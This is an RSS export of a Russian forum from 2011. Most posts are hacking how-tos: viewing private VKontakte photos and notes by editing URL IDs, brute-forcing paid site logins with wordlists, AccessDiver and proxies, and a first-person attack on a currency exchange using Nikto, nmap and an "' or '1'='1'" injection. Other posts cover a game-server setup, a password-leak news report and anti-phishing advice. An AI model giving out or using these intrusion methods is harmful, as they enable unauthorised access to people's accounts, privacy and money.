<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://budonline.bbeasy.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>Budonlaine</title>
		<link>https://budonline.bbeasy.ru/</link>
		<description>Budonlaine</description>
		<language>ru-ru</language>
		<lastBuildDate>Mon, 24 Jan 2011 18:29:16 +0300</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Всё о взломе вконтакте</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=19#p19</link>
			<description>&lt;p&gt;Инструкция по взлому Вконтакте &lt;/p&gt;
						&lt;p&gt;Пока же огрехи самого сервиса Vkontakte.ru выставляются на обозрение. Так, на сайте &lt;/p&gt;
						&lt;p&gt;vzlomvkontakte.ru «Часкор» обнаружил подробную инструкцию по доступу к информации чужой анкеты в два шага. &amp;quot;Как просматривать закрытые страницы «Вконтакте.ру». &lt;/p&gt;
						&lt;p&gt;«Для начала нам потребуется узнать ID требуемого аккаунта. Это сделать легко. Заходим на страницу «Поиск» в верхнем меню. Вводим фамилию и имя или ник. В общем, находим этого человека и копируем ссылку на надписи «Добавить в друзья». &lt;/p&gt;
						&lt;p&gt;Она должна выглядеть наподобие этой: &lt;a href=&quot;http://vkontakte.ru/friend.php?act=add&amp;amp;id=01234556&amp;amp;h=c259cfaf.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://vkontakte.ru/friend.php?act=add&amp; &amp;#8230; =c259cfaf.&lt;/a&gt; Нас интересует область, выделенная жирным шрифтом. Это и есть параметр ID интересующего нас человека. &lt;/p&gt;
						&lt;p&gt;Теперь для доступа к фотоальбомам закрытого аккаунта в «Вконтакте»: вводите в поисковой строке браузера: &lt;a href=&quot;http://vkontakte.ru/photos.php?id=01234556&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://vkontakte.ru/photos.php?id=01234556&lt;/a&gt; (ставим требуемый ID с первого пункта). &lt;/p&gt;
						&lt;p&gt;Для получения доступа к видео закрытого аккаунта в «Вконтакте»: &lt;a href=&quot;http://vkontakte.ru/video.php?id=01234556&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://vkontakte.ru/video.php?id=01234556&lt;/a&gt; (ставим требуемый ID с первого пункта). &lt;/p&gt;
						&lt;p&gt;Для получения доступа к заметкам закрытого аккаунта в «Вконтакте»: &lt;a href=&quot;http://vkontakte.ru/notes.php?id=01234556&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://vkontakte.ru/notes.php?id=01234556&lt;/a&gt; (ставим требуемый ID с первого пункта). &lt;/p&gt;
						&lt;p&gt;По аналогии можно также получить ссылки на другие элементы. Кроме того, на сайте vkontakte.ru можно просматривать и закрытые фотографии. Если увеличение фотографии невозможно и вам выдают табличку с текстом: «Вы не можете просматривать этот альбом, так как его владелец установил ограничения на просмотр для тех, кто не является его другом», то не стоит пасовать. Блогер fenst указывает пальцем на путь преодоления этого барьера: &lt;/p&gt;
						&lt;p&gt;«Копируем ссылку на изображение: &lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://cs52.vkontakte.ru/u2772114/4229389/s_1f77999320F3f.jpg&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://cs52.vkontakte.ru/u2772114/42293 &amp;#8230; 320F3f.jpg&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;После в скопированной ссылке меняем букву перед знаком «_» на «x»: &lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://cs52.vkontakte.ru/u2772114/4229389/x_1f77999320F3f.jpg».&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://cs52.vkontakte.ru/u2772114/42293 &amp;#8230; 0F3f.jpg».&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;Кроме того, «Часкору» удалось разыскать, как копировать музыку и видео из «Вконтакте», как женить себя на себе, как увеличить рейтинг заполнения анкеты, как запретить кому-либо что-то писать на твоей стене. &lt;/p&gt;
						&lt;p&gt;Кому и зачем это надо &lt;/p&gt;
						&lt;p&gt;Сервисы, продающие услуги взлома аккаунтов социальных сетей, в рекламном призыве давят на твою вторую половину: «узнай о тайной переписке». Ревность — основная причина, которая движет рынок злоумышленников по взлому. Максим, 29 лет, напомнил «Часкору» своим случаем, насколько легко доступна вашим знакомым ваша же почта: «Моя девушка в почте mail.ru сменила пароль к моему ящику, с изящной легкостью ответив на секретный вопрос «Девичья фамилия вашей матери?». При этом она понимала, что сам факт взлома тут же станет известен, но она просто не смогла удержаться из-за ревности. У этой истории счастливый конец — компромата не было, зато были клятвы «Больше никогда!» и очень приятные извинения». Однако, если вам есть что скрывать, не стесняйтесь быть параноиком — в том числе и в выборе секретного вопроса. &lt;/p&gt;
						&lt;p&gt;Актрисе Дарье Мельниковой («Папины дочки») ломали и почту, и страницу «Вконтакте», и звездный блог на Mail.Ru. Каким образом, актриса не знает: «Скорее всего, из-за простых паролей». Дважды был случай, когда фанат ломал ящик только для того, чтобы проверить, действительно ли это адрес актрисы. &lt;/p&gt;
						&lt;p&gt;Вторая причина — банальная выгода: злоумышленник рассылает со взломанного аккаунта спам вашим френдам и от вашего имени. Пользователь double_whiskey сообщества Paparazzi поделилась с «Часкором» своими несчастьями: «Мне взламывали последовательно «Вконтакте», «Одноклассники» и «аську». Из «Вконтакте» разослали просьбу «помочь выиграть в конкурсе» (нашлось много сердобольных помощников, перед всеми потом было жутко неудобно), из «Одноклассников» — ссылку на порносайт. Влюбленный со школы МЧ написал мне потом: «А откуда ты знаешь мои вкусы?» &lt;/p&gt;
						&lt;p&gt;Наконец, третья — воровство с целью возврата владельцу за деньги. Одна из интернет-пользовательниц анонимно пожаловалась «Часкору»: «У меня как-то взломали «аську» из-за красивого семизначного номера. Это была какая-то хитрая программа, она же заодно позволяла хакать мейлы и ЖЖ. К счастью, ЖЖ я отстояла — мне вовремя сообщили, и я успела сменить пароль. Потом выяснилось, что аськи-мейлы ломал какой-то подросток и собирался требовать за возврат деньги (в районе 500 рублей). Я послала его подальше, а «аську» и мейл завела новые. А вот если бы он добрался и до ЖЖ, я бы задумалась. Все-таки столько лет его вела, уже жалко». &lt;/p&gt;
						&lt;p&gt;Это уже сильно напоминает угон автомобилей с обратным возвратом владельцу и попахивает книжным клеем Уголовного кодекса. &lt;/p&gt;
						&lt;p&gt;Расплата за взлом &lt;/p&gt;
						&lt;p&gt;Следует помнить, что все рекламируемые на сотнях сайтов услуги по взлому, равно как и самостоятельный взлом, — уголовно наказуемы. И тому есть живой прецедент. Районный суд Ижевска вынес решение в отношении хакера, взломавшего сайт «Одноклассники». &lt;/p&gt;
						&lt;p&gt;22-летний молодой человек незаконно проник на сайт, где осуществил несанкционированный доступ к электронному почтовому ящику своей знакомой, сумев подобрать пароль. Парень прочитал личные сообщения девушки и заменил размещенную фотографию на другую, эротического характера. После чего сменил логин и пароль почтового ящика своей знакомой. &lt;/p&gt;
						&lt;p&gt;Как сообщает официальный портал Следственного комитета при прокуратуре РФ, Денис Яковлев признан виновным и приговорен к одному году и восьми месяцам лишения свободы условно и штрафу в 20 тыс. рублей.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Mon, 24 Jan 2011 18:29:16 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=19#p19</guid>
		</item>
		<item>
			<title>Создаём свой no-steam css-сервер</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=18#p18</link>
			<description>&lt;p&gt;Сначала необходимо скачать &lt;a href=&quot;http://wolfsy.clan.su/hldsupdatetool.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://wolfsy.clan.su/hldsupdatetool.rar&lt;/a&gt;&lt;br /&gt;Разархивируем hldsupdatetool.rar&lt;br /&gt;Когда вы запустите файл из архива, то вам предложат выбрать куда установить hldsupdatetool, это можно сделать куда угодно, важно, что&amp;#160; эта папка в дальнейшем и станет папкой Сервера, я приведу пример с диском С:&lt;/p&gt;
						&lt;p&gt;Выбираем Europe и жмём Next. Далее откроется еще одно окошко и в нем нажимаем Next и Finish&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Идем в папку куда был установлен hldsupdatetool (в данном примере C:\Server). Запускаем файл HldsUpdateTool.exe, в следствии чего откроются два окошка и HldsUpdateTool.exe начнет &lt;br /&gt;обновлять себя, так как у вас не последня версия, скрин можно увидеть ниже: &lt;br /&gt;Обновление займет не более чем 1 минуту! После чего окно само закроется.&lt;/p&gt;
						&lt;p&gt;После обновления HldsUpdateTool идем в папку с сервером (в данном примере C:\Server). Теперь нам необходимо скачать сервер, для этого мы создаем файл Update.bat&lt;br /&gt;На рабочем столе жмем правую кнопку мыши Создать\Текстовый документ&lt;br /&gt;В него вставляем вот этот код:start /wait c:\server\hldsupdatetool.exe &lt;br /&gt;start /wait c:\server\hldsupdatetool.exe -command update -game &amp;quot;Counter-Strike Source&amp;quot; -dir . &lt;br /&gt;exit&lt;/p&gt;
						&lt;p&gt;Жмем Файл\Сохранить как&lt;br /&gt;В Имя файла пишем Update.bat. Жмем Сохранить. Готово.&lt;br /&gt;Update.bat кидаем в папку с сервером (в данном примере C:\Server)! Теперь можно его запустить, после чего откроются два окошкa и начнется скачивание сервера,&amp;#160; скрин можно посмотреть ниже:&lt;/p&gt;
						&lt;p&gt;Сервер весит 1 - 1.2 GB (ОСТОРОЖНО ТРАФФИК), соответственно скорость скачки зависит от скорости твоего интернета и как следствие чем выше скорость Интеренета, тем быстрее все скачается. После окончания окошко закроется само.&lt;br /&gt;После того как скачка закочится, нам необходимо будет создать файл Start.bat, он нужен для запуска сервера. Нам вновь надо создать Текстовый документ, в котором необходимо прописать:@echo off&lt;br /&gt;cls &lt;br /&gt;echo Protecting srcds from crashes... &lt;br /&gt;echo If you want to close srcds and this script, close the srcds window and type Y depending on your language followed by Enter. &lt;br /&gt;title srcds.com &lt;br /&gt;:srcds &lt;br /&gt;:loop&lt;br /&gt;echo (%date% %time%) srcds started. &lt;br /&gt;start C:\Server\srcds_fps_boost.exe &lt;br /&gt;start /wait C:\Server\srcds.exe -console -game cstrike -tickrate 66 -port 27015 +fps_max 600 +maxplayers 12 +map de_dust2 &lt;br /&gt;goto srcds &lt;br /&gt;echo (%date% %time%) WARNING: srcds closed or crashed, restarting. &lt;br /&gt;goto loop&lt;/p&gt;
						&lt;p&gt;Файл настроен вот так: при запуски сразу же карта de_dust2 , TickeRate 66(если ставить выше, то могут быть проблемы на сервере, например жутко подниматься пинг), порт сервера 27015 , FPS сервера 600 и 12 слотов на сервер. (12 игроков)&lt;/p&gt;
						&lt;p&gt;Набор основных команд, которые можно написать в строчке, которая подчеркнута красным цветом. &lt;/p&gt;
						&lt;p&gt;1. -autoupdate Сервер проверяет обновления при запуске. &lt;/p&gt;
						&lt;p&gt;2. -insecure Запускает сервер без использования технологии защиты от читеров (Valve Anti-Cheat). &lt;/p&gt;
						&lt;p&gt;3. -nobots Отключить ботов. &lt;/p&gt;
						&lt;p&gt;4. -verify_all Производит проверку на то, что каждый файл сервера последней версии. &lt;/p&gt;
						&lt;p&gt;5. +ip &amp;lt;пример 192.168.0.1&amp;gt; Задает IP сервера, когда в системе несколько сетевых карт. &lt;/p&gt;
						&lt;p&gt;6. +sv_lan &amp;lt;число 0/1&amp;gt; Если установлено в 1, то сервер может принять только пользователей локальной сети (LAN). &lt;/p&gt;
						&lt;p&gt;7. +maxplayers &amp;lt;число от 1 до 32&amp;gt; Задает максимальное количество игровых слотов. &lt;/p&gt;
						&lt;p&gt;8. +map &amp;lt;карта&amp;gt; Задает карту для запуска. &lt;/p&gt;
						&lt;p&gt;9. +hostname &amp;quot;Имя Сервера&amp;quot; Задает имя сервера. &lt;/p&gt;
						&lt;p&gt;10. -tickrate &amp;lt;число 33\66\100&amp;gt; Задает tickrate сервера (подробнее в Source Multiplayer Networking). &lt;/p&gt;
						&lt;p&gt;11. -port &amp;lt;число 27015\27016\27017\27018&amp;gt; Порт для подключения клиента к серверу. &lt;/p&gt;
						&lt;p&gt;12. +fps_max &amp;lt;число 300\600\1000&amp;gt; FPS сервера &lt;/p&gt;
						&lt;p&gt;13. +tv_port &amp;lt;число 27020\27021\27022\27023\27024&amp;gt; Порт для подключения SourceTV.&lt;/p&gt;
						&lt;p&gt;После чего жмем Файл\Сохранить как\Start.bat И кидаем этот фаил в папку с сервером (в данном примере C:\Server)&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 13:31:03 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=18#p18</guid>
		</item>
		<item>
			<title>Взлом Вконтакте. Пароли 40 тысяч   пользователей выложили в Интернет.</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=17#p17</link>
			<description>&lt;p&gt;В сети была выложена база данных на 40 тыс. взломанных аккаунтов «ВКонтакте» с логинами и паролями. От действий злоумышленников пострадали те, кто в последние дни устанавливал к себе на страничку новые игровые приложения.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; «Лаборатория Касперского» сообщила о том, что в сети была выложена база данных, в которой содержатся адреса электронной почты и пароли к более чем 40 тыс аккаунтам «ВКонтакте». Первоначально специалисты сообщили о 130 тыс украденных страничках, но после проверки эта цифра оказалась ниже.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Информация появилась на фишинговом сайте 83.133.120.252, который блокируется антивирусами Касперского и Nod32. В любом случае переходить по этой ссылке специалисты по безопасности не рекомендуют, так как компьютер может быть инфицирован.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Информация об угнанных аккаунтах была получена с помощью вредоносной программы Trojan.Win32.VkHost.an, которую специалисты «Лаборатории Касперского» обнаружили 28 июля. Мошенники решили сыграть на популярности игровых приложений «ВКонтакте»: троянец распространялся через одну из таких программ «ВКонтакте», которое сейчас заблокировано администрацией. Название этого приложения не сообщается.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; После установки в систему данный троянец подменял файл hosts таким образом, что при переходе на сайты vkontakte.ru и odnoklassniki.ru пользователь перенаправлялся по адресу 83.133.120.252, где ему предлагалось залогиниться.&lt;br /&gt;«Одноклассники» пока не пострадали.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; «В настоящий момент база украденных паролей «Одноклассников» на фишинговом сайте пуста, поэтому говорить о компрометации данных пользователей этой социальной сети пока нет оснований, — говорит Александр Гостев, руководитель центра глобальных исследований и анализа угроз «Лаборатории Касперского».&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Регистрационные данные уходили в базы на том же сайте, а пользователю сообщалось, что его аккаунт будет заблокирован, так как с его IP-адреса ведется спам-рассылка. Для разблокирования предлагалось отправить на некий короткий номер SMS, стоимость которого достигала $10.&lt;br /&gt;Как проверить аккаунт на взлом ?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Всем пользователям «ВКонтакте» и «Одноклассники» рекомендуется проверить содержимое своих файлов hosts, которые находятся в директории Windows по адресу \system32\drivers\etc. Если в них обнаружены ссылки на vkontakte.ru и odnoklassniki.ru, данные файлы следует удалить.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Также необходимо сменить все пароли от всех аккаунтов в социальных сетях. А в случае попадания на подобные фишинговые страницы, ни в коем случае не следует вводить свои логин и пароль или отправлять SMS-сообщения, предупреждают специалисты.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; «Лаборатория Касперского» опубликовала специальную программу, которая ищет страничку пользователя в хакерской базе данных по электронному адресу, введенному при регистрации в социальной сети. Проверить свой аккаунт на взлом можно здесь.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Если аккаунт скомпрометирован, необходимо срочно сменить пароли от ресурсов, где был использован аналогичный пароль (ICQ, электронная почта и т.п.).&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 13:00:13 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=17#p17</guid>
		</item>
		<item>
			<title>Как не попасться на удочку мошеннического спама?</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=16#p16</link>
			<description>&lt;p&gt;Как не попасться на удочку мошеннического спама? &lt;/p&gt;
						&lt;p&gt;Согласно самой последней версии отчета Службы защиты Интеллектуальной Собственности Майкрософт, более 97 процентов писем, присылаемых по е-мейлу, являются спамом, содержат вредные приложения, либо просто навязываются получателю против его воли. Среди невинных писем, содержащих ссылки на порносайты, либо интернет магазины, попадается действительно опасная корреспонденция, которая может нанести серьезный урон компьютеру либо его владельцу.&lt;/p&gt;
						&lt;p&gt;Далее приведены рекомендации о том, как уберечься от виртуальных мошенников и как действовать в ситуации, когда ваша персональная информация просочилась в ненадежные источники.&lt;/p&gt;
						&lt;p&gt;Прежде всего, КАК РАСПОЗНАТЬ СПАМ?&lt;/p&gt;
						&lt;p&gt;Любой е-мейл, запрашивающий Ваше имя, дату рождения, имя пользователя почтового ящика или пароль, а также любую другую персональную информацию, вне зависимости от того, чей электронный адрес стоит в графе «отправитель», скорей всего является мошенническим спамом.&lt;/p&gt;
						&lt;p&gt;Внимание! Немногословные е-мейлы, содержащие опечатки или явные ошибки в словах (иногда просто набор несовпадающих между собой по временам и падежам слов), содержащие фразы: «это не шутка» или «перешли это сообщение своим друзьям», интригующие темы писем личного характера от людей, которых Вы не знаете, вроде «высылаю фотоотчет о том, как я отдохнула на Кипре» - все это не что иное, как спам.&lt;/p&gt;
						&lt;p&gt;Мошеннический, особо опасный спам, очень часто содержит логотипы известных компаний и другую идентифицирующую информацию (как правило, украденную с официальных сайтов компаний). В таких письмах в качестве усыпления бдительности может содержаться Ваша персональная информация, найденная мошенниками в недрах интернета (не лишним будет еще раз повторить уже известную всем истину – чем меньше Вашей персональной информации содержится в интернете, тем спокойней Вы можете спать).&lt;/p&gt;
						&lt;p&gt;Важно! Обратите внимание на такие фразы в е-мейле: «Подтвердите, пожалуйста, Ваш пароль», «Если Вы не ответите на данное письмо в течение 48 часов, Ваш почтовый ящик будет заблокирован», «Вы выиграли лотерею» и т.п..&lt;/p&gt;
						&lt;p&gt;ЧТО ДЕЛАТЬ, ЕСЛИ ВЫ ПОНЯЛИ, ЧТО ПОЛУЧИЛИ ОПАСНЫЙ Е-МЕЙЛ?&lt;/p&gt;
						&lt;p&gt;Не суетитесь, НИКОГДА не кликайте на ссылки и не давайте своей персональной информации. Один клик – и ваш компьютер может быть заражен вирусом, загруженным с сайта интернет-мошенников, при этом, Вы можете даже не узнать об этом. Особо опасные вирусы не просто портят ваше программное обеспечение, а считывают логины, пароли и прочую важную информацию с Вашего компьютера.&lt;/p&gt;
						&lt;p&gt;В случае, если письмо было прислано от имени компании, свяжитесь по телефону с ее представителями для уточнения обстоятельств. Ни в коем случае не используйте е-мейл, фигурирующий в письме, полученном Вами.&lt;/p&gt;
						&lt;p&gt;Убедитесь в том, что Вы придумали надежный пароль (использовали 7 знаков, часть из которых цифры, символы, например такие как @, #, а также часть знаков введена в капс-локе). Замечательная привычка раз в месяц менять свой пароль.&lt;/p&gt;
						&lt;p&gt;Помогайте людям бороться со спамом, информируйте свой почтовый сервис о наличии таких писем. Многие почтовые сервисы имеют закладку «сообщить о спаме».&lt;/p&gt;
						&lt;p&gt;ЧТО ДЕЛАТЬ, ЕСЛИ ВЫ ВСЕ ЖЕ ВЫСЛАЛИ НА СПАМ СВОЮ ПЕРСОНАЛЬНУЮ ИНФОРМАЦИЮ?&lt;/p&gt;
						&lt;p&gt;1. Сообщите об этом в надлежащие органы – попросту, в милицию.&lt;/p&gt;
						&lt;p&gt;2. Если Вы дали номер своей кредитной карты, срочно свяжитесь с банком для блокировки Вашего счета. Чем раньше Вы это сделаете, тем лучше – счет иногда идет на минуты.&lt;/p&gt;
						&lt;p&gt;3. Свяжитесь с компанией, от имени которой Вам пришел е-мейл. Помните, что для этого нельзя использовать е-мейл отправителя письма либо любую другую контактную информацию, содержащуюся в письме. Самый надежный вариант – взять контакты с официального сайта компании.&lt;/p&gt;
						&lt;p&gt;4. Смените пароль на ВСЕХ своих почтовых ящиках. Есть подозрение, что в Ваш почтовый ящик проникли? Смените пароль сию же минуту! Многие люди используют один и тот же пароль на нескольких почтовых ящиках, чем значительно упрощают работу сетевым мошенникам. Начните с паролей, которые имеют отношения к финансам или персональной информации. Просматривайте выписку по счету ежемесячно с целью обнаружения транзакций, к которым Вы не имеете никакого отношения. Суммы таких транзакций могут быть невелики, чтоб не бросаться в глаза владельцу карты.&lt;/p&gt;
						&lt;p&gt;5. И, наконец, не следует забывать о специальной продукции, помогающей защититься от спама и мошенничества: специальные программы-фильтры в почтовых ящиках и браузерах, антивирусные программы, установленные непосредственно на Вашем компьютере.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:38:43 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=16#p16</guid>
		</item>
		<item>
			<title>Взлом порно-сервера: часть #1</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=15#p15</link>
			<description>&lt;p&gt;Здаров хацкер! &lt;/p&gt;
						&lt;p&gt;Небось не один раз пытался взломать любимый порно-сервак с помощью какой-нить программы переборщика? Уверен, что подобные попытки нечасто завершались удачей. Так вот я попытаюсь познакомить тебя с несколькими способами, с помощью которых под твоим натиском рухнет не один запредельный сайт. Начнем конечно же с малого. &lt;/p&gt;
						&lt;p&gt;И так способ первый:&lt;br /&gt;1. Простой перебор иногда оказывается самым эффективным.&lt;br /&gt;Если конечно подойти к нему с умом. Для начала нам необходимо выяснить каким словарем нам пользоваться (т.к. ессесьно, подойдет не каждый), а уж потом заняться поиском, или созданием этого самого словаря. Идем непосредственно на сайт, и жмем на любимую кнопку &#039;sing up&#039;, далее внимательно смотрим на форму которую предлагают заполнить, если логин с паролем предлагают выбрать самим, то тебе, можно сказать, повезло. 50% паролей с логинами на таких сайтах будут представлять собой элементы лексикона озабоченного подростка лет 13. У меня, например, до сих пор есть доступ к такой святыне как шведентинз с логином/паролем = ааааааааа/ааааааааа. И так создаем вордлист. Соберем пароли с passwords-сайтов, ибо где кто как не они наиболее ярко выражают словарный запас буржуев, щедро расходующих свои деньги на то, чтобы посмотреть очередную фоту с обнаженной малотеткой. Делать это будем, ессьно, не в ручную. Нам нужна прога - NetMole Spider, которую используют ленивые вебмастра этих самых passords-сайтов, чтобы тырить друг у друга работающие линки. Достать ее можно через ту же альтависту, дело не хитрое. И так инсталлируем, запускаем. Единственное, что тебе надо, это нажать кнопку &#039;go&#039;, прога сама обойдет огромный список сайтов, выдерет оттуда все линки, и даже проверит их на работоспоспобность. После окончания работы спайдера, жмем правой кнопкой мыши на правом фрейме и выбираем &#039;custom save LOGINs to file&#039;. Все логины сохраняются в выбранном тобой файле. Прога и сама по себе рулит, множество настроек, возможность добавления/удаления сайтов , отсылка работающих логинов на мыл друзьям. Теперь освободим твой лист от дубликатов. Запускаем любимый accessdiver, который нам еще не раз пригодится. Для тех, кто еще не знает, качать отсюда wwwacsessdiver.com. Для новичков, пугающихся количества функций в &#039;My Skill&#039; на первое время ставим &#039;NEWBIE&#039;. Выбираем &#039;Dictionnary&#039;, &#039;Load a combo file&#039; - загружаем наш файл, жмем на следующую кнопку, выбираем Remove &amp;gt; Duplicates. Пассвордлист готов. Далее нам необходимо запастись проксями, т.к., я думаю, не в твоих интересах, чтобы злобный админ атакуемого тобой сайта заспамил тебя негодующими письмами. А он ведь тоже не дурак, зачастую, ломая какой-нить подобный сайт, приходилось видеть целые килобайты айпишников, авторизация которым отказана. Заходим в &#039;Options&#039; в правом фрейме где стоит &#039;Use this feature&#039; ставим галочку, и прописываем или загружаем лист с проксями, не мудрствуя лукаво, которых можно надыбать на том же самом spylog.ru. кроме того в тех же &#039;Options&#039; ты сможешь выбрать в каких последовательностях тебе перебирать слова - &#039;Manipulation&#039;. Теперь мы полностью готовы для того, чтобы атаковать. Далее в окно &#039;server&#039; вставляем урл member-зоны атакуемого сайта и жмем на большую кнопку Standart. Прога в процессе работы, расслабься. Ты можешь выбрать количество одновременных соединений, и смотреть, как она будет тупо переставлять слова из твоего листа. В случае, если сегодня результат не достигнут, accessdiver запомнит место с которого ты остановился и продолжит с него завтра. Если же нам не предлагают ввести собственный логин, задача усложняется, возможно тебе так же придется перебирать по словарю со словосочетаниями мама/папа, а может перебирать придется и не по словам, а по сочетаниям букв и цифр. Кому как, а по мне это слишком геморно. Насупился? А зря. Существуют еще тонны способов благодаря которым заветный путь от от просто визитора до реального члена сайта будет пройден тобой за небольшой промежуток времени. А пока удачи! Составляй словарики, ибо подавляющее большинство сайтов воспримут тебя с простым набором дайте/мне_порнухи.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:36:33 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=15#p15</guid>
		</item>
		<item>
			<title>Без крови и оружия: штурм обменника электронных валют</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=14#p14</link>
			<description>&lt;p&gt;In Fraud We Trust&lt;/p&gt;
						&lt;p&gt;Идея была очень сомнительной. Меня очень заинтересовал этот сайт, но я был не уверен в том, что его стоит щупать на предмет багов. Ведь, как правило, администраторы таких ресурсов не лохи, и за попытку взлома можно серьезно получить по шарам. Но мысль о том, что на мобилу можно скинуть, к примеру, 100 баксов, мне не давала покоя, и я принял решение взломать обменник. Но прежде всего надо было позаботиться о безопасности, которую я условно разбил на две части: VPN и Socks. Свалив на улицу и вернувшись уже ближе к ночи, я открыл браузер, загрузил главную страницу сайта… И понеслось…&lt;br /&gt;Изучаем структуру сервера&lt;/p&gt;
						&lt;p&gt;Cайт обменника был целиком написан на PHP. Минимальное количество скриптов и ничего лишнего - никаких гостевых, форумов я не нашел. Беглый осмотр скриптов на такие распространенные баги, как SQL/PHP-инъекция, PHP-инклуд и XSS, ничего полезного не дал. Тут я решил немного схалявить и просканировать сайт CGI-сканером на наличие директорий и потенциально опасных скриптов. В качестве CGI-сканера я выбрал ныне уже ставший классикой сканер Nikto. Он бесплатен, имеет огромную базу уязвимостей, постоянно обновляется и характеризуется кроссплатформенностью, так как написан на скриптовом языке Perl. Впрочем, хватит описания. Я запустил сканер на шелле в режиме обычного сканирования:&lt;/p&gt;
						&lt;p&gt;./nikto.pl -host site.ua –generic&lt;/p&gt;
						&lt;p&gt;Не поленился открыть второе окошко PuTTY, залогиниться на том же шелле и запустить nmap, чтобы узнать, какие порты открыты на удаленном хосте: &lt;/p&gt;
						&lt;p&gt;./nmap -sT -F site.ua&lt;/p&gt;
						&lt;p&gt;Сканер портов сработал довольно шустро, и перед глазами предстала следующая картина: на сервере крутились FTP, SSH, HTTP/HTTPS, POP3/SMTP, http-прокси SQUID, ну и еще пара ненужных сервисов. Что касается SQUID, он был самой последней версии, так что нахаляву ничего не могло пройти. В то время как я исследовал работу сервера в целом, Nikto уже нашел кучу всего. Самое минимальное, что можно было выделить, - это нестойкий к переполнениям модуль Апача mod_ssl, проэксплойтить который мне, к сожалению, не удалось. &lt;/p&gt;
						&lt;p&gt;Зато меня порадовали директории. Сначала я заглянул в папку /icons, даже и не надеясь найти там что-то интересное :). Далее выяснилось, что на сервере стоит phpMyAdmin в одноименной папке. А это уже интересно. Затем админка, которая находилась в /config. При ее осмотре на наличие SQL-инъекции, с помощью которой можно было бы войти в админку по запросу типа «&#039; or &#039;1&#039; = &#039;1&#039;», я снова ничего не нашел. Я подождал еще немного, и сканер скинул мне линки на /webmail (с нее тоже было нечего взять) и на Error_Log, в котором мне посчастливилось обнаружить лог ошибок в PHP-скриптах:&lt;/p&gt;
						&lt;p&gt;[20-Dec-2005 23:56:19] PHP Warning: file(news.xml): failed to open stream: No such file or directory in /home/medicalc/public_html/money/xml.php on line 14&lt;br /&gt;[20-Dec-2005 23:56:19] PHP Warning: join(): Bad arguments. &lt;br /&gt;in /home/medicalc/public_html/money/xml.php on line 14&lt;br /&gt;[20-Dec-2005 23:56:19] PHP Fatal error: Call to a member function on a non-object in /home/medicalc/public_html/money/xml.php on line 26&lt;br /&gt;[20-Dec-2005 23:59:03] PHP Fatal error: Call to a member function on a non-object in /home/medicalc/public_html/money/xml.php on line 26&lt;br /&gt;[21-Dec-2005 00:03:49] PHP Warning: fopen(rss.xml): failed to open stream: Permission denied in /home/medicalc/public_html/money/rss.php on line 57&lt;br /&gt;[09-Jan-2006 17:42:28] PHP Warning: mysql_connect(): Can&#039;t connect to local MySQL server through socket &#039;/var/tmp/mysql.sock&#039; (2) in /home/medicalc/public_html/money/index.php on line 5&lt;/p&gt;
						&lt;p&gt;Естественно, из ошибок вытянуть чего-нибудь занятное не получилось, но это только на первый взгляд. Теперь совершенно очевидно, что скрипты работают с MySQL и полный путь к сайту у нас таков: /home/medicalc/public_html/emoney.&lt;/p&gt;
						&lt;p&gt;Ты думаешь, на этом мое исследование закончилось и я решил забить на обменник и пойти болтать в IRC? Нет. Самое главное, что нашел сканер, - это /server-status. Теперь уже интересно… &lt;br /&gt;Существенная зацепка&lt;/p&gt;
						&lt;p&gt;Что же это за загадочная дира /server-status? Это даже не просто директория и не скрипт, а исключительно Apache&#039;вская примочка. Она отображает всю информацию о веб-сервере: версию Apache, модули и т.д., текущее время, аптайм сервера, нагрузку CPU. Кроме того, из нее можно выудить просто море информации о том, какие сайты хостятся на всем сервере. В общем, выглядит это так, как на картинке.&lt;/p&gt;
